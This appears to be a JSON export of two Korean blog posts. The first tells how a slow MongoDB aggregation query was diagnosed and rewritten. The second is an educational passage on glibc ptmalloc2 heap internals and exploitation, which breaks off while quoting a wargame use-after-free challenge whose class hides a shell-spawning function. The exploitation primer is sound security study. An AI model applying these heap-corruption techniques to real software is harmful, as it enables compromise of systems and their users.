[{"content":"회사의 지식재산권 보호를 위해 스키마와 쿼리를 재구성하였으나 본질은 동일합니다.\n문제 정의 며칠 전 유저 검색 기능의 속도가 지나치게 느리다는 피드백을 받았습니다.\n개발 환경에서는 성능 문제를 체감한 적이 없었고 사용 빈도도 높지 않았던 기능이라서, 솔직히 문제가 발생할 것이라고 예상하지 못했습니다\n운영 환경에서 직접 재현해보니 검색어가 있을 때는 1초 미만이었지만, 없는 경우 약 12초의 지연이 발생했습니다.\n이는 곧 전체 유저를 보기 위해선 유저가 12초 동안 기다려야 한다는 말이 됩니다.\n일반적으로 알려진 것처럼 5초 이상의 로딩은 사용자 이탈로 직결되는 만큼, 바로 원인 파악에 들어갔습니다.\n기존 파이프라인 구조 // 개선과는 연관없는 부분은 제외하고 꼭 필요한 부분만 남겼습니다. await Users.aggregate([ // 유저 컬렉션에서 시작 { // 특정 문자열을 가진 유저를 1차로 필터링 $match: { userName: { $regex: new RegExp(`^${userName}`, \u0026#39;i\u0026#39;) } } }, { // 내려온 도큐먼트들에 대해 \u0026#34;a\u0026#34; role 을 가진 유저만 조인 $lookup: { from: \u0026#39;usersDetail\u0026#39;, // user 와 1:1 관계 localField: \u0026#39;_id\u0026#39;, foreignField: \u0026#39;usersId\u0026#39;, pipeline: [ { $match: { roles: { $in: [\u0026#39;a\u0026#39;] } } } ], as: \u0026#39;usersDetail\u0026#39; } }, { // $lookup 결과 배열 평탄화 $unwind: { path: \u0026#39;$usersDetail\u0026#39; } }, { $project: { // 필요한 필드 추가 or 리네이밍 } }, { $sort: { createdAt: -1 } } // 내림차순 ]); 쿼리를 처음 작성했을 때는 \u0026ldquo;userName에 인덱스가 있으니 1차 필터링은 빠를 거고, $lookup 내부에서 roles까지 걸러주니 필요한 도큐먼트만 조인되겠지\u0026rdquo; 라고 생각했었습니다.\n또한 개발 환경에선 충분히 빨랐던 탓에 검색어가 공백일때 어떤 문제가 발생하는지 크게 신경 쓰지 못했습니다.\n이번에 피드백을 받고 바로 개발과 운영간의 데이터 규모를 비교해보았는데 그 차이는 약 24배 였습니다.\n현재 쿼리는 검색어가 공백이면 ^ 정규식이 컬렉션 전체를 훑습니다. 24배 많은 데이터를 훑으면 그만큼 disk에서 읽어야 하는 양도 늘어나니, $match 단계의 도큐먼트 fetch 비용이 병목일 가능성이 높다고 봤습니다.\n다만 이건 어디까지나 추측이었습니다. 실제로 어느 스테이지에서 시간이 얼마나 소요 되는지, 인덱스는 제대로 타고 있는지는 아직 확인하지 않은 상태였습니다.\n정확한 진단을 위해 explain을 뽑아봤습니다.\nexplain 진단 설명은 주석에 포함했습니다. MongoDB의 explain은 트리 구조라 안쪽부터 읽으시면 됩니다.\n각 스테이지별 근사 소요 시간은 이전 스테이지와의 차이로 보시면 됩니다.\n{ \u0026#34;stages\u0026#34; : [ { \u0026#34;$cursor\u0026#34; : { \u0026#34;executionStats\u0026#34; : { \u0026#34;nReturned\u0026#34; : 124638.0, \u0026#34;executionTimeMillis\u0026#34; : 12921.0, \u0026#34;totalKeysExamined\u0026#34; : 124638.0, \u0026#34;totalDocsExamined\u0026#34; : 124638.0, \u0026#34;executionStages\u0026#34; : { \u0026#34;isCached\u0026#34; : false, // 여러번 실행해도 캐싱이 안됨 // 옵티마이저 최적화로 컬렉션쪽 필드에 한해 fetch 이후 바로 projection \u0026#34;stage\u0026#34; : \u0026#34;PROJECTION_SIMPLE\u0026#34;, \u0026#34;executionTimeMillisEstimate\u0026#34; : 555.0, \u0026#34;inputStage\u0026#34; : { \u0026#34;stage\u0026#34; : \u0026#34;FETCH\u0026#34;, // WiredTiger 캐시 또는 디스크에서 가져옴 \u0026#34;executionTimeMillisEstimate\u0026#34; : 487.0, \u0026#34;inputStage\u0026#34; : { // 정규식에 의해 전체 도큐먼트가 선택되므로 사실상 풀스캔과 다를바가 없습니다. \u0026#34;stage\u0026#34; : \u0026#34;IXSCAN\u0026#34;, // 인덱스 스캔 \u0026#34;filter\u0026#34; : { \u0026#34;userName\u0026#34; : { \u0026#34;$regex\u0026#34; : \u0026#34;^\u0026#34;, \u0026#34;$options\u0026#34; : \u0026#34;i\u0026#34; } }, \u0026#34;executionTimeMillisEstimate\u0026#34; : 232.0, \u0026#34;indexName\u0026#34; : \u0026#34;userName_1\u0026#34;, \u0026#34;direction\u0026#34; : \u0026#34;forward\u0026#34; } } } } }, \u0026#34;nReturned\u0026#34; : 124638, \u0026#34;executionTimeMillisEstimate\u0026#34; : 569 }, { \u0026#34;$lookup\u0026#34; : { }, \u0026#34;totalDocsExamined\u0026#34; : 26, \u0026#34;totalKeysExamined\u0026#34; : 26, \u0026#34;collectionScans\u0026#34; : 0, \u0026#34;indexesUsed\u0026#34; : [ \u0026#34;usersId_1_roles_1\u0026#34; ], \u0026#34;nReturned\u0026#34; : 26, \u0026#34;executionTimeMillisEstimate\u0026#34; : 12921 // 문제의 부분 }, { \u0026#34;$project\u0026#34; : { }, \u0026#34;nReturned\u0026#34; : 26, \u0026#34;executionTimeMillisEstimate\u0026#34; : 12921 }, { \u0026#34;$sort\u0026#34; : { }, \u0026#34;nReturned\u0026#34; : 26, \u0026#34;executionTimeMillisEstimate\u0026#34; : 12921 } ], } explain 을 살펴보니 제 예상과는 달리 $match는 569ms로 생각보다 오래 소요되지 않았습니다.\n반대로, 시간을 제일 많이 소요하고 있는건 $lookup이었습니다.\n그런데 수치를 보면 이상한 점이 있습니다.\n왜 $lookup의 totalDocsExamined는 26건이고 인덱스도 타고 있는데 12,352ms 나 소요되었을까요?\nexplain 너머의 병목 { \u0026#34;$lookup\u0026#34; : { }, \u0026#34;totalDocsExamined\u0026#34; : 26, \u0026#34;totalKeysExamined\u0026#34; : 26, \u0026#34;collectionScans\u0026#34; : 0, \u0026#34;indexesUsed\u0026#34; : [ \u0026#34;usersId_1_roles_1\u0026#34; ], \u0026#34;nReturned\u0026#34; : 26, \u0026#34;executionTimeMillisEstimate\u0026#34; : 12921 }, \u0026ldquo;인덱스 레벨에서 26개를 정확히 선택했는데, 왜 여기서 오래 걸리는 거지?\u0026rdquo;\n이 의문을 해소하기 위해 $lookup 내부 동작을 더 파고 들었습니다.\nMongoDB 공식 GitHub 레포지토리에는 $lookup 스테이지의 explain에 관한 테스트 코드가 있는데, 주석을 자세히 읽어보면 힌트를 얻을 수 있습니다.\n편의상 한글 번역을 했습니다.\nlet testQueryExecutorStatsWithIndexScan = function() { createIndexForCollection(fromColl, \u0026#34;foreignField\u0026#34;); let output = doAggregationLookup(localColl, fromColl, {allowDiskUse: false}); let expectedOutput = [ {_id: 0, localField: 0, output: [{_id: 0, foreignField: 0}]}, {_id: 1, localField: 1, output: [{_id: 1, foreignField: 1}]} ]; assert.eq(output, expectedOutput); let [curScannedObjects, curScannedKeys] = getCurrentQueryExecutorStats(); // 인덱스 스캔의 경우, 총 scannedObjects는 // (로컬 컬렉션의 전체 도큐먼트 수 + 외부 컬렉션에서 매칭된 도큐먼트 수)의 합이어야 한다 assert.eq(localDocCount + localDocCount, curScannedObjects); // 외부 컬렉션에서 스캔된 키 수는 로컬 컬렉션의 도큐먼트 수와 동일해야 한다 assert.eq(localDocCount, curScannedKeys); if (isSBELookupEnabled) { checkExplainOutputForAllVerbosityLevels( localColl, fromColl, { // SBE lookup이 활성화된 경우, 실행 통계에서 모든 스캔 객체를 캡처할 수 있다 // 따라서 totalDocsExamined는 // (로컬 컬렉션의 전체 도큐먼트 수 + 외부 컬렉션에서 매칭된 도큐먼트 수)와 동일해야 한다 totalDocsExamined: 2 + 2, // 로컬 컬렉션의 각 도큐먼트마다 인덱스 seek이 한번씩 수행되고, // seek당 키 하나가 검사된다 = 2 totalKeysExamined: 2, // 로컬 컬렉션이 스캔된 횟수 = 1 collectionScans: 1, // 인덱스 스캔 단계에서 검사된 키마다 외부 컬렉션에 대한 seek이 수행되어 // 해당 도큐먼트를 가져온다 = 2 collectionSeeks: 2, indexScans: 0, // 로컬 컬렉션의 각 도큐먼트마다 인덱스 seek이 한번씩 수행된다 = 2. indexSeeks: 2, indexesUsed: [\u0026#34;foreignField_1\u0026#34;] }, {allowDiskUse: false}, {strategy: \u0026#34;IndexedLoopJoin\u0026#34;, indexName: \u0026#34;foreignField_1\u0026#34;}); } else { checkExplainOutputForAllVerbosityLevels(localColl, fromColl, { totalDocsExamined: 2, totalKeysExamined: 2, collectionScans: 0, indexesUsed: [\u0026#34;foreignField_1\u0026#34;] }, {allowDiskUse: false} ); } }; indexSeeks 의 주석을 보면 \u0026ldquo;로컬 컬렉션의 각 도큐먼트마다 인덱스 seek이 한번씩 수행된다\u0026rdquo; 라고 명시되어있습니다.\n즉, $match에서 필터링되어 내려온 도큐먼트 각각에 대해 매칭 여부와 관계없이 foreign 컬렉션에 대한 seek 이 수행됩니다. 인덱스가 존재하면 인덱스 seek으로, 없으면 풀 테이블 스캔으로 찾습니다.\n인덱스는 빠르게 원본 데이터를 조회할 수 있도록 도와주지만 비용이 0은 아닙니다. 그중에는 B-Tree의 root에서 시작해 leaf 노드까지 내려가며 탐색하는 비용인 seek 비용이 있고, 조인 수행에 있어 이 seek 자체는 피할 수 없습니다.\n여기서 다시 explain 을 보면 퍼즐이 맞춰집니다. $lookup 으로 내려오는 도큐먼트는 124,638건 입니다. $lookup 에서 보이는 \u0026quot;totalDocsExamined\u0026quot; : 26, \u0026quot;totalKeysExamined\u0026quot; : 26은 최종 매칭 결과일 뿐이고 실제로는 124,638건 각각에 대해 usersId_1_roles_1 인덱스에 seek이 발생했다는 뜻입니다.\n결론적으로 보면 필요한 도큐먼트는 전체의 0.02%였고, 나머지 99.98%를 걸러내는 과정에서 12만 번의 불필요한 seek 비용이 발생했습니다. 이 비용이 누적되면서 $lookup에서만 12,352ms나 소요된 것입니다.\n현재 쿼리는 SBE가 아닌 classic engine에서 실행되기 때문에 explain에서 indexSeeks를 직접 볼 수 없습니다. 직접 수치로 확인하고 싶어 로컬에서 유사한 환경을 구성해봤는데, 아쉽게도 $lookup 내부 pipeline 때문에 classic engine으로 fallback되어 indexSeeks를 직접 볼순 없었습니다.\n그래도 구조상 seek이 124,638번 발생했다는 건 변하지 않습니다. 공식 문서에서 $lookup 앞단 도큐먼트를 줄이라고 권장하는 이유가 바로 여기에 있습니다.\n파이프라인 재설계 이론적으로만 보면 역정규화를 고려해 볼 수 있지만, 현실적으로 유저 엔티티를 사용하는 모든 레거시 코드에 영향을 끼쳐 감당할 수 없기 때문에 변경이 불가능 합니다.\n고민하다 보니 이런 흐름으로 생각이 이어졌습니다.\n\u0026ldquo;a\u0026rdquo; role 을 가진 유저는 도메인 특성상 극히 일부다.\nroles 의 필터링은 userName 의 값 유무와 관계없이 항상 필수다.\n그렇다면 선택적 조건인 userName 필터를 나중으로 미뤄도 최종 결과는 동일하지 않을까?\n그리고 roles 를 먼저 필터링 하면 스코프가 훨씬 줄고 $lookup 에 전달되는 도큐먼트 수도 줄겠네?\n핵심은 $lookup에 들어가는 도큐먼트 수를 최대한 줄이는 것입니다. 이를 바탕으로 전체 파이프라인을 재작성했습니다.\n// 개선과는 연관없는 부분은 제외하고 꼭 필요한 부분만 남겼습니다. await UsersDetail.aggregate([ // UsersDetail 에서 시작 { // \u0026#34;a\u0026#34; role 을 가진 유저만 필터링(현재 26건) $match: { roles: { $in: [\u0026#39;a\u0026#39;] } } }, { // 앞서 필터링된 26건 각각에 대해서만 users 컬렉션과 조인 $lookup: { from: \u0026#39;users\u0026#39;, // UsersDetail 과 1:1 관계 localField: \u0026#39;usersId\u0026#39;, foreignField: \u0026#39;_id\u0026#39;, pipeline: userName ? [ // 검색어가 있을 때만 정규식 필터를 추가 { $match: { userName: { $regex: new RegExp(`^${username}`, \u0026#39;i\u0026#39;) } } } ] : [], as: \u0026#39;users\u0026#39; } }, { // $lookup 결과 배열 평탄화 $unwind: { path: \u0026#39;$users\u0026#39; } }, { $project: { // 필요한 필드 추가 or 리네이밍 } }, // 두 컬렉션간의 `createdAt` 은 앱 수준에서 동일한 시간을 보장 { $sort: { createdAt: -1 } } // 내림차순 ]); 지금까지 \u0026ldquo;유저 이름과 특정 role 을 가진\u0026rdquo; 이라는 요구사항의 어순에 이끌려 users.userName 검색에만 집중해 왔습니다.\n이번에는 시각을 바꿔 usersDetail.roles 기준으로 필터링을 먼저 수행하도록 스테이지를 재배치하였습니다.\n옵티마이저의 선택 정렬 비용까지 낮춰보기 위해 roles, createdAt 순서로 복합인덱스를 생성하였습니다.\ndb.usersDetail.createIndex({ roles: 1, createdAt: -1 }); roles 필터링 후 createdAt 기준으로 정렬된 상태를 그대로 읽을 수 있기 때문에, 이론적으로는 추가 정렬 비용을 줄일 수 있을 것으로 기대했습니다.\n그런데 실제로는 옵티마이저가 이 인덱스를 선택하지 않고 기존의 roles 단일 인덱스를 사용했습니다.\nreject 된 이유 조인 이후 생성된 도큐먼트는 메모리에서 새롭게 조합된 BSON이기 때문에 원본 컬렉션의 인덱스를 그대로 활용할 수 없습니다.\n즉, $sort 는 지금 만든 복합인덱스를 활용하지 못하고 인메모리 정렬을 수행하게 됩니다.\n결과적으로 도움이 되지 않는 복합 인덱스를 유지할 이유가 없어 제거하였습니다.\n$sort 에서 인메모리 정렬이 발생하긴 하지만, 현재 도메인 특성상 \u0026lsquo;a\u0026rsquo; role을 가진 유저 수가 크게 늘어나지 않는다는 전제가 있어 이 정도 성능 저하는 수용 가능하다고 판단했습니다.\n개선 결과 { \u0026#34;stages\u0026#34; : [ { \u0026#34;$cursor\u0026#34; : { \u0026#34;executionStats\u0026#34; : { \u0026#34;nReturned\u0026#34; : 26.0, \u0026#34;executionTimeMillis\u0026#34; : 2.0, \u0026#34;totalKeysExamined\u0026#34; : 26.0, \u0026#34;totalDocsExamined\u0026#34; : 26.0, \u0026#34;executionStages\u0026#34; : { \u0026#34;isCached\u0026#34; : true, \u0026#34;stage\u0026#34; : \u0026#34;PROJECTION_SIMPLE\u0026#34;, \u0026#34;executionTimeMillisEstimate\u0026#34; : 0.0, \u0026#34;inputStage\u0026#34; : { \u0026#34;stage\u0026#34; : \u0026#34;FETCH\u0026#34;, \u0026#34;executionTimeMillisEstimate\u0026#34; : 0.0, \u0026#34;inputStage\u0026#34; : { \u0026#34;stage\u0026#34; : \u0026#34;IXSCAN\u0026#34;, \u0026#34;executionTimeMillisEstimate\u0026#34; : 0.0, \u0026#34;indexName\u0026#34; : \u0026#34;roles_1\u0026#34;, \u0026#34;direction\u0026#34; : \u0026#34;forward\u0026#34;, } } } } }, \u0026#34;nReturned\u0026#34; : 26, \u0026#34;executionTimeMillisEstimate\u0026#34; : 0 }, { \u0026#34;$lookup\u0026#34; : { }, \u0026#34;totalDocsExamined\u0026#34; : 26, \u0026#34;totalKeysExamined\u0026#34; : 26, \u0026#34;collectionScans\u0026#34; : 0, \u0026#34;indexesUsed\u0026#34; : [ \u0026#34;_id_\u0026#34; ], \u0026#34;nReturned\u0026#34; : 26, \u0026#34;executionTimeMillisEstimate\u0026#34; : 2 }, { \u0026#34;$project\u0026#34; : { }, \u0026#34;nReturned\u0026#34; : 26, \u0026#34;executionTimeMillisEstimate\u0026#34; : 2 }, { \u0026#34;$sort\u0026#34; : { }, \u0026#34;nReturned\u0026#34; : 26, \u0026#34;executionTimeMillisEstimate\u0026#34; : 2 } ] } 반복 실행해도 캐싱이 적용되지 않았던 개선 이전 쿼리와는 달리, 캐싱도 정상적으로 동작합니다.\n첫 번째 스테이지에서 roles 필터링으로 26건만 선택되어, 이전 쿼리의 124,638건과 비교했을 때 약 4,793배 적은 양의 데이터가 $lookup으로 내려옵니다.\n항목 개선 전 개선 후 개선율 1차 필터링 후 결과량 124,638건 26건 99.98% 개선 $lookup 수행 시간 12,352ms 2ms \u0026quot; $lookup seek 비용 124,638 × log 124,638 26 × log 124,638 \u0026quot; 전체 수행 시간 12,921ms 2~3ms 평균 약 5,383배 개선 공백 검색에서 버려지는 연산 99.98% 0% 100% 제거 이제 검색어가 없는 최악의 경우에도 4ms 이내로 응답하게 되어, 장애 수준의 지연이 해결되었습니다.\n회고 글에는 전부 담지 못했지만 이번 과정에서 배운 것들이 많습니다.\n사실 Aggregation 파이프라인을 깊게 다뤄본 경험이 거의 없어서, $lookup이 내부적으로 어떻게 동작하는지, 앞단 도큐먼트 수가 성능에 얼마나 큰 영향을 주는지 제대로 인식하지 못하고 있었습니다.\n이번 일을 계기로, $lookup이 포함된 쿼리를 작성할 때는 개발 환경에서도 explain을 꼭 확인하는 습관을 들이려고 합니다. 인덱스가 제대로 타고 있는지, 각 스테이지에서 몇 건이 오가는지, 어디서 시간이 소요되는지를 미리 파악해두어야 운영 환경에서 문제가 되는 쿼리를 미리 걸러낼 수 있기 때문입니다.\n저와 같은 문제를 겪는 분들께 도움이 되었으면 좋겠습니다.\n읽어주셔서 감사합니다.\n참고 자료 MongoDB 깃허브 공식 테스트코드\nhttps://github.com/mongodb/mongo/blob/v6.0/jstests/aggregation/sources/lookup/lookup_query_stats.js MongoDB 공식문서 - $lookup 성능 고려 사항\nhttps://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/#performance-considerations ","permalink":"https://byeongmin.kr/posts/2023-07-30-mongodb-aggregation-query-optimization/","summary":"\u003cp\u003e회사의 지식재산권 보호를 위해 스키마와 쿼리를 재구성하였으나 본질은 동일합니다.\u003c/p\u003e\n\u003ch2 id=\"문제-정의\"\u003e문제 정의\u003c/h2\u003e\n\u003cp\u003e며칠 전 유저 검색 기능의 속도가 지나치게 느리다는 피드백을 받았습니다.\u003c/p\u003e\n\u003cp\u003e개발 환경에서는 성능 문제를 체감한 적이 없었고 사용 빈도도 높지 않았던 기능이라서, 솔직히 문제가 발생할 것이라고 예상하지 못했습니다\u003c/p\u003e\n\u003cp\u003e운영 환경에서 직접 재현해보니 검색어가 있을 때는 1초 미만이었지만, 없는 경우 약 12초의 지연이 발생했습니다.\u003c/p\u003e\n\u003cp\u003e이는 곧 \u003cstrong\u003e전체 유저를 보기 위해선 유저가 12초 동안 기다려야 한다\u003c/strong\u003e는 말이 됩니다.\u003c/p\u003e\n\u003cp\u003e일반적으로 알려진 것처럼 5초 이상의 로딩은 사용자 이탈로 직결되는 만큼, 바로 원인 파악에 들어갔습니다.\u003c/p\u003e","title":"12초 걸리던 쿼리 장애를 처음 겪고, 끝까지 파고든 기록"},{"content":"동적 할당 메커니즘에서는 성능을 위해 free 된 청크들을 재활용 합니다. 만약 이런 재활용 없이 시스템콜을 통해 매번 메모리를 할당받거나 반환한다면 유저-커널모드 전환 비용으로 인해 성능 하락이 심해집니다.\n그래서 메모리 할당자는 기존 메모리 영역 재사용을 위한 힙 자료구조와 그에 맞는 최적의 힙 관리 알고리즘을 구현해놨습니다.\n이번 포스팅에선 이러한 구조에 대해 이해하고 어떻게 exploit 할 수 있는지 알아보려 합니다.\n이번에 살펴볼 메모리 할당자는 ptmalloc2 입니다. dlmalloc, TCMalloc 도 있지만, ptmalloc2 는 glibc 의 기본 할당자로 오랫동안 사용되어왔고, 리얼월드에서도 많이 쓰입니다.\nptmalloc2의 가장 큰 특징은 멀티스레드 최적화입니다. 여러 스레드가 동시에 malloc()을 호출하면, 각 스레드마다 힙 세그먼트가 생성되고 Arena가 해당 영역을 관리하기 때문에 각 스레드는 lock 경합을 최소화하면서 로컬 힙에 접근할 수 있습니다.\n버전에 따라 구현 방식에 약간의 차이가 있지만 기본적인 힙 구조는 크게 다르지 않습니다.\n기본 개념 Arena Arena는 힙 영역과 힙 영역을 관리하기 위한 메타데이터를 묶어서 부르는 단위입니다. main_arena는 malloc_state 구조체로 구성되며, brk 시스템 콜을 사용해 힙을 확장합니다.\n스레드가 늘어나면 mmap으로 새로운 Arena를 생성합니다.\nArena의 최대 갯수는 코어 수에 따라 정해집니다.\n32비트: 2 * 코어 수 64비트: 8 * 코어 수 // https://elixir.bootlin.com/glibc/glibc-2.26/source/malloc/malloc.c#L1678 struct malloc_state { /* Serialize access. */ __libc_lock_define (, mutex); /* Flags (formerly in max_fast). */ int flags; /* Fastbins */ mfastbinptr fastbinsY[NFASTBINS]; /* Base of the topmost chunk -- not otherwise kept in a bin */ mchunkptr top; /* The remainder from the most recent split of a small request */ mchunkptr last_remainder; /* Normal bins packed as described above */ mchunkptr bins[NBINS * 2 - 2]; /* Bitmap of bins */ unsigned int binmap[BINMAPSIZE]; /* Linked list */ struct malloc_state *next; /* Linked list for free arenas. Access to this field is serialized by free_list_lock in arena.c. */ struct malloc_state *next_free; /* Number of threads attached to this arena. 0 if the arena is on the free list. Access to this field is serialized by free_list_lock in arena.c. */ INTERNAL_SIZE_T attached_threads; /* Memory allocated from the system in this arena. */ INTERNAL_SIZE_T system_mem; INTERNAL_SIZE_T max_system_mem; }; 여기서 fastbinsY와 bins는 free된 청크들을 보관하는 구조입니다.\nChunk malloc() 수행 후 반환되는 포인터가 가르키는 실제 주소는 malloc_chunk 구조체입니다.\n다만 개발자가 받는 주소는 청크의 시작이 아니라, 헤더(prev_size, size)를 건너뛴 영역의 주소입니다.\n// https://elixir.bootlin.com/glibc/glibc-2.26/source/malloc/malloc.c#L1067 struct malloc_chunk { INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ struct malloc_chunk* bk_nextsize; }; prev_size prev_size 필드는 현재 청크 기준으로는 앞 청크의 크기를 담고, 다음 청크 기준으로는 현재 청크의 크기를 알려주는 2가지 역할을 동시에 합니다.\n할당자는 PREV_INUSE 플래그가 0일때 앞뒤 양방향으로 근접한 청크를 찾아낼 수 있습니다. 병합할 때 앞 청크 주소를 계산하려면 현재 청크 주소 - prev_size 연산을 해주면 됩니다.\nsize 청크 크기의 최소 단위는 2 * SIZE_SZ 이기 때문에 32비트에서는 8바이트, 64비트에서는 16바이트 단위로 사이즈가 맞춰지게 됩니다.\n이렇게 되면 size 필드의 하위 3비트는 항상 0이 되기 때문에 이 비트들을 플래그로 사용합니다.\n(100) NON_MAIN_ARENA: main arena 소속이 아닌 청크 (010) IS_MMAPPED: mmap으로 단독 할당된 청크 (001) PREV_INUSE: 이전 청크가 사용 중임을 나타냄 여기서 PREV_INUSE 가 0일 때 prev_size가 유효하며, 할당자는 PREV_INUSE 플래그를 보고 이전 청크와 병합할지 결정하기 때문에 이 이 둘을 조작하면 할당자가 엉뚱한 위치를 청크로 인식하게 만들 수 있습니다.\nfd, bk fd와 bk는 청크가 사용 중일 때는 유효하지 않습니다.\n여기는 사용자 데이터로 채워져 있다가 청크가 free될 때 이 위치에 bin 연결을 위한 포인터가 저장됩니다.\n인접한 청크의 fd나 bk를 덮어쓰면 bin의 연결 구조 자체를 조작할 수 있습니다.\nfree() 호출 시 거치는 검증 free()는 실제로 free 시키기 전에 몇 가지를 검증을 수행합니다.\n검증이라고 해도 사실 \u0026ldquo;명백하게 잘못된 경우\u0026quot;만을 걸러내는 최소한의 장치기 때문에 전부 통과해도 실제론 정상적인 청크가 아닐 수도 있습니다.\n정렬 검사: malloc()은 항상 정렬된 주소를 반환하므로, 정렬이 안 맞으면 malloc()이 반환한 포인터가 아니라고 판단합니다. size 필드 범위 검사: 청크 크기가 최솟값보다 작거나, 너무 커서 주소 공간을 벗어나거나, 정렬 단위에 맞지 않으면 비정상적인 청크라고 판단합니다. arena 경계 검사: 해당 청크가 현재 arena가 관리하는 힙 범위 안에 있는지 확인합니다. double free 검사: 바로 다음 청크의 PREV_INUSE 비트를 읽습니다. 현재 청크가 이미 free된 상태라면 이 비트가 0으로 되어 있어야 하므로, 여기서 0이 나오면 double free로 판단합니다. 단, 이 검사는 fastbin이나 tcache 경로가 아닌 일반 bin 에서만 유효합니다. Bin bin은 해제된 청크들의 연결 리스트입니다.\nmalloc()은 요청을 받으면 OS에 새 메모리 영역을 요청하기 전에 먼저 bin을 뒤져 재사용 가능한 청크가 있는지 확인합니다.\nbin의 구조를 이해하는 것이 중요한 이유는, 대부분의 힙 익스플로잇이 bin의 포인터를 조작하여 임의의 주소를 malloc()의 반환값으로 받아내는 방식으로 이뤄지기 때문입니다.\nglibc 2.23 기준으로는 네 종류의 bin이 있습니다.\nBin 번호 종류 bin[1] Unsorted bin bin[2] ~ bin[63] Small bin bin[64] ~ bin[126] Large bin 별도 배열 Fastbin bin은 first-fit 알고리즘을 사용합니다. 요청 크기를 충족하는 첫 번째 청크를 바로 반환합니다.\ntcache 도입 이후, 대부분의 일반적인 크기의 청크는 bin에 도달하기 전에 tcache에 먼저 들어갑니다.\n각 bin에 대해선 아래에서 이어 설명하겠습니다.\nUnsorted Bin 새로 free된 청크는 small/large bin 중 어디로 가야 하는지 바로 분류되진 않고 일단 Unsorted Bin 에 쌓입니다. 분류는 나중에 malloc()이 호출될 때 일어나게 됩니다.\nmalloc() 이 호출될 때, Unsorted Bin 에 있는 청크들을 둘러보고 요청 크기랑 딱 맞는 청크가 있다면 바로 꺼내서 쓰고 아니라면 아래에 설명한 Small Bin 이나 Large Bin 쪽으로 옮기게 됩니다.\nUnsorted Bin 의 최앞단의 청크는 fd 랑 bk 가 main_arena 쪽을 가르키게 되는데, 이 값을 읽어낼 수 있으면 libc base 를 계산할 수 있습니다.\nSmall Bin Small bin은 크기별로 분류가 되는데, 64비트 기준 16바이트부터 1008바이트까지 16바이트 간격으로 존재합니다.\nSmall Bin은 같은 크기만 들어오기 때문에 새 청크는 그냥 리스트 뒤에 붙이면 되고, 꺼낼 때는 앞에서 하나씩 빼면 됩니다(FIFO). 그래서 정렬이 필요가 없습니다.\n예전에는 fd/bk 조작으로 fake chunk를 만들어 임의 주소를 할당받거나 임의 주소에 쓰는 것이 가능했지만, 최근 glibc에서는 unlink 시 무결성 검사를 수행하므로 이렇게는 공격에 성공하기 어렵습니다.\nLarge Bin Small Bin의 최대 사이즈인 1008바이트를 넘는 청크는 large bin에 들어갑니다.\n한 bin 안에 크기가 제각각인 청크들이 섞여 있다 보니, 삽입할 때 내림차순 정렬을 유지합니다. 여기서 문제가 생기는데, 같은 크기의 청크가 여러 개 있으면 일일이 다 건너뛰어야 해서 느립니다.\n이걸 해결하기위해 fd_nextsize / bk_nextsize 포인터가 크기가 같은 청크들은 건너뛰고, 크기가 달라지는 청크끼리만 연결합니다.\n일종의 skip list 구조라서 할당 요청이 오면 이 포인터를 따라 빠르게 맞는 크기를 찾을 수 있습니다.\ntcache glibc 2.26(ubuntu 17.10)부터 도입된 tcache는 tcache_perthread_struct로 관리되며 각 스레드마다 독립적으로 존재합니다.\n0x10 ~ 0x400 크기의 해제된 청크들은 tcache에 우선적으로 저장됩니다.\n// https://elixir.bootlin.com/glibc/glibc-2.26/source/malloc/malloc.c#L2941 /* There is one of these for each thread, which contains the per-thread cache (hence \u0026#34;tcache_perthread_struct\u0026#34;). Keeping overall size low is mildly important. Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons. */ typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct; 청크가 free되면 먼저 tcache에 들어가고, tcache가 가득 차면 청크 크기에 따라 fastbin으로 들어가거나 unsorted bin으로 이동합니다.\n이후 unsorted bin에 있던 청크들은 크기에 따라 small bin이나 large bin으로 정리됩니다.\nfastbin은 old == p 비교를 통해 double free를 감지하지만, tcache는 성능을 위해 도입되었기 때문에, 초창기땐 검증 로직이 없었습니다.\n물론 glibc 2.29부터 double free 탐지가 추가되었지만, 그 이전 버전에서는 검증이 사실상 없었습니다.\nExploitation 이제 위에서 설명했던 힙 구조가 어떻게 공격에 활용되는지 보겠습니다.\nUse After Free (UAF) free()는 메모리를 OS에 즉시 반납하지 않습니다.\n할당자는 해당 영역을 bin에 보관했다가 같은 크기의 요청이 들어오면 재사용합니다. 문제는 free가 메모리를 초기화하지 않는다는 점입니다.\nfree() 이후에도 기존 포인터로 해당 영역을 참조하거나 덮어쓰는 것이 가능하고, 이후 같은 주소가 다시 할당되면 두 포인터가 같은 메모리를 가리키게 됩니다.\npwnable.kr uaf 문제를 한번 풀면서 다시 설명하겠습니다.\n#include \u0026lt;fcntl.h\u0026gt; #include \u0026lt;iostream\u0026gt; #include \u0026lt;cstring\u0026gt; #include \u0026lt;cstdlib\u0026gt; #include \u0026lt;unistd.h\u0026gt; using namespace std; class Human{ private: virtual void give_shell(){ system(\u0026#34;/bin/sh\u0026#34;); } protected: int age; string name; public: virtual void introduce(){ cout \u0026lt;\u0026lt; \u0026#34;My name is \u0026#34; \u0026lt;\u0026lt; name \u0026lt;\u0026lt; endl; cout \u0026lt;\u0026lt; \u0026#34;I am \u0026#34; \u0026lt;\u0026lt; age \u0026lt;\u0026lt; \u0026#34; years old\u0026#34; \u0026lt;\u0026lt; endl; } }; class Man: public Human{ public: Man(string name, int age){ this-\u0026gt;name = name; this-\u0026gt;age = age; } virtual void introduce(){ Human::introduce(); cout \u0026lt;\u0026lt; \u0026#34;I am a nice guy!\u0026#34; \u0026lt;\u0026lt; endl; } }; class Woman: public Human{ public: Woman(string name, int age){ this-\u0026gt;name = name; this-\u0026gt;age = age; } virtual void introduce(){ Human::introduce(); cout \u0026lt;\u0026lt; \u0026#34;I am a cute girl!\u0026#34; \u0026lt;\u0026lt; endl; } }; int main(int argc, char* argv[]){ Human* m = new Man(\u0026#34;Jack\u0026#34;, 25); Human* w = new Woman(\u0026#34;Jill\u0026#34;, 21); size_t len; char* data; unsigned int op; while(1){ cout \u0026lt;\u0026lt; \u0026#34;1. use\\n2. after\\n3. free\\n\u0026#34;; cin \u0026gt;\u0026gt; 